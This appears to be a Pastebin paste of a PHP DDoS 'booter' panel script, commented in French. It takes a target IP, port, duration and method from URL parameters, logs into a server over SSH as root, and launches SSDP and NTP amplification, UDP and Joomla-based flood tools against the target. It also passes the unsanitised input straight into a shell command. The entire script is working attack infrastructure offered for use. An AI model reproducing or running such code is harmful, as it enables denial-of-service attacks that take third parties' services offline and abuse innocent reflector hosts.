Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <meta charset="utf-8">
- <?php
- ignore_user_abort(true);
- set_time_limit(0);
- //debut de la config
- $server_ip = "1.1.1.1"; //Changer avec l'IP de votre serveur
- $server_pass = "collerlapetite"; //Changer avec le mot de passe de votre serveur
- $server_user = "root"; //Changer uniquement si vous n'avez pas accer au root
- //fin de la config By K3L0T3X
- $host = $_GET['host'];
- $port = $_GET['port'];
- $time = $_GET['time'];
- $method = strtoupper($_GET['method']);
- if ($method == "REBOOT") {
- $command = "reboot";
- }
- elseif ($method == "SSDP") {
- $command = "./K3L0T3X ".$host." ".$port." ssdplist.txt -1 100 ".$time;
- }
- elseif ($method == "NTP") {
- $command = "./NTP ".$host." ".$port." ntplist.txt -1 100 ".$time;
- }
- elseif ($method == "K3UDP") {
- $command = "./K3L0T3X ".$host." ".$port." ".$time;
- }
- elseif ($method == "BOXING") {
- $command = "./taratata ".$host." ".$port." ".$time;
- }
- elseif ($method == "JOOMLA") {
- $command = "./joomla ".$host." joomlagogeta.txt ".$time." 1";
- }
- if (!function_exists("ssh2_connect")) die("La fonction ssh2 n'est pas installée"); if(!($con = ssh2_connect($server_ip, 22))){
- echo htmlspecialchars("PROBLEME DE CONNECTION");
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo htmlspecialchars("Erreur ssh2: utilisateur ou mot de passe incorrecte");
- } else {
- if (!($stream = ssh2_exec($con, $command ))) {
- echo htmlspecialchars("Impossible d'executée la commande");
- } else {
- stream_set_blocking($stream, true);
- $data = "";
- while ($buf = fread($stream,4096)) {
- $data .= $buf;
- }
- echo htmlspecialchars("Attaque en cours sur l'IP $host avec le port $port pour $time secondes avec la méthode $method !");
- fclose($stream);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement